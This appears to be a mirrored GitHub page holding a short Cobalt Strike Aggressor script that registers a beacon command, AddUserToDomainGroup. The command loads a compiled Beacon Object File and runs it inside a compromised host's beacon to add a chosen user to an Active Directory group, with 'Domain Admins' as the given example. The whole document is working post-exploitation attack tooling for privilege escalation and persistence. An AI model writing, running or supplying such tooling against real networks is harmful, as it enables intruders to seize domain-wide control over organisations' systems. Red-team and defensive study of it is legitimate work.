mirror of
https://github.com/Yaxser/CobaltStrike-BOF
synced 2026-06-08 12:59:00 +00:00
30 lines
822 B
Plaintext
30 lines
822 B
Plaintext
#author Yaxser (@yas_o_h)
|
|
|
|
beacon_command_register("AddUserToDomainGroup", "Add a user to a domain group",
|
|
"Synopsis: AddUserToDomainGroup [username (samAccountName)] [group name]\n\n" .
|
|
"Example: AddUserToDomainGroup \"TestUser\" \"Domain Admins\"");
|
|
|
|
|
|
|
|
alias AddUserToDomainGroup {
|
|
local('$username $groupname')
|
|
$bid = $1;
|
|
|
|
$username = $2;
|
|
$groupname = $3;
|
|
|
|
if ($username eq "" || $groupname eq "") {
|
|
berror($bid, $beacon_command_detail("AddUserToDomainGroup"));
|
|
return;
|
|
}
|
|
|
|
# Read in the right BOF file
|
|
$handle = openf(script_resource("AddUserToDomainGroup.o"));
|
|
$data = readb($handle, -1);
|
|
closef($handle);
|
|
|
|
# Pack our arguments
|
|
|
|
$arg_data = bof_pack($bid, "ZZ", $username, $groupname);
|
|
beacon_inline_execute($bid, $data, "go", $arg_data);
|
|
} |